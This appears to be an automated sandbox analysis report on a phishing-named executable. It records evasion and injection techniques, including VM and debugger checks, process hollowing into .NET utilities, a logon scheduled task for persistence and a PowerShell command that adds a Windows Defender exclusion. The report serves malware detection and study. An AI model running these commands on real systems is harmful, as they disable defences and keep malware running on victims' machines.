Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.18.dr	Binary or memory string: vmci.syshbin`
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.18.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.18.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.18.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.18.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.18.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.18.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.18.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.18.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.18.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.18.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.18.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.18.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: InstallUtil.exe, 0000000F.00000002.2868061435.0000000000437000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: Amcache.hve.18.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 15_2_010A7EE0 CheckRemoteDebuggerPresent,

15_2_010A7EE0

Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base address: 400000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base address: 400000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 442000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 8DE008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 442000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 95A008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 442000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: A45008
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 402000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 440000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 442000
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: B94008

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 456 -p 7792 -ip 7792
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7792 -s 1152
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 508 -p 7872 -ip 7872
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7872 -s 1104
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 536 -p 7748 -ip 7748
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7748 -s 1144
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 568 -p 8396 -ip 8396
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 8396 -s 1352
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Queries volume information: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
